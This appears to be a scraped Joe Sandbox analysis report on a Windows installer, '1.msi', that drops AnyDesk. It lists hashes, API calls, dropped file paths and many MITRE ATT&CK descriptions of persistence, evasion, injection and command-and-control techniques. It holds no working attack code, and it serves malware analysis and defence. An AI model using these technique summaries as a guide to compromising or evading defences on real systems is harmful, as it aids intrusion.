Opcode ID: a114e363fe8b18bcbc088d7bb03974d872daee7e1a107c67f633b73c5cd15778
Instruction ID: 649c90ab7ec0cf61e775e34374d0c28cc382ba0628780f6ffe8cb4fbcdd84c72
Opcode Fuzzy Hash: a114e363fe8b18bcbc088d7bb03974d872daee7e1a107c67f633b73c5cd15778
Instruction Fuzzy Hash: 6B0181B5944742AFD711AF2CC948B5BBBE8EF50710F40892DF995C7654DB38C1048B92

Uniqueness

Uniqueness Score: -1.00%

Function 01817BE4 Relevance: 6.1, APIs: 4, Instructions: 103COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 01817C18
__isleadbyte_l.LIBCMT ref: 01817C4B
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?,?,?), ref: 01817C7C
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?,?,?), ref: 01817CEA

Memory Dump Source

Source File: 00000014.00000002.1168380407.00000000012A6000.00000020.00000001.01000000.0000000A.sdmp, Offset: 012A0000, based on PE: true

Associated: 00000014.00000002.1168341021.00000000012A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168351178.00000000012A1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1168366673.00000000012A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170210568.0000000001D5B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170281104.0000000001E00000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170293455.0000000001E05000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170304196.0000000001E09000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170309438.0000000001E0A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170350491.0000000001E7B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.1170709047.0000000002217000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_12a0000_AnyDesk.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 6509aca14d9d865a498c39fa78224a8b5d837b596979387dd64a50bcbd6f882f
Instruction ID: 0d555ec80b0ae7ad651e09b16ddf8e4c099fb6d651a9b32e3b7cccf21ab3067d
Opcode Fuzzy Hash: 6509aca14d9d865a498c39fa78224a8b5d837b596979387dd64a50bcbd6f882f
Instruction Fuzzy Hash: 9D31C332A0424AEFEB21DF68C8849BA7FA9FF01310F1585ADE551CB199D731DB40DB90

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Data loss prevention, File monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.
Tactics:	Persistence, Privilege Escalation
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IEFO) debuggers. IEFOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., `C:\dbg\ntsd.exe -g notepad.exe` ).
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Services
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use hidden users to mask the presence of user accounts they create. Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account.
Tactics:	Defense Evasion
Data Sources:	Authentication logs, File monitoring
Platforms:	macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1.msi

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\78c343.rbs

C:\ProgramData\anydesk\AnyDesk.exe

C:\ProgramData\anydesk\service.conf

C:\ProgramData\anydesk\system.conf

C:\System Volume Information\SPP\OnlineMetadataCache\{13f380d2-c95e-45d3-8b58-ce3c6d9cc4c1}_OnDiskSnapshotProp

C:\System Volume Information\SPP\metadata-2

C:\System Volume Information\SPP\snapshot-2

C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files.cab

C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\$dpx$.tmp\eee52229ee24a34cb61191d27a7b66f1.tmp

C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe (copy)

C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\msiwrapper.ini

C:\Users\user\AppData\Local\Temp\~DF0154135B388C6B07.TMP

C:\Users\user\AppData\Local\Temp\~DF49DA8C305B58D2AD.TMP

C:\Users\user\AppData\Local\Temp\~DFFAFE55FFC650FC61.TMP

C:\Users\user\AppData\Roaming\AnyDesk\ad.trace

C:\Users\user\AppData\Roaming\AnyDesk\user.conf

C:\Windows\Installer\78c341.msi

C:\Windows\Installer\78c342.ipi

Windows Analysis Report
1.msi

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre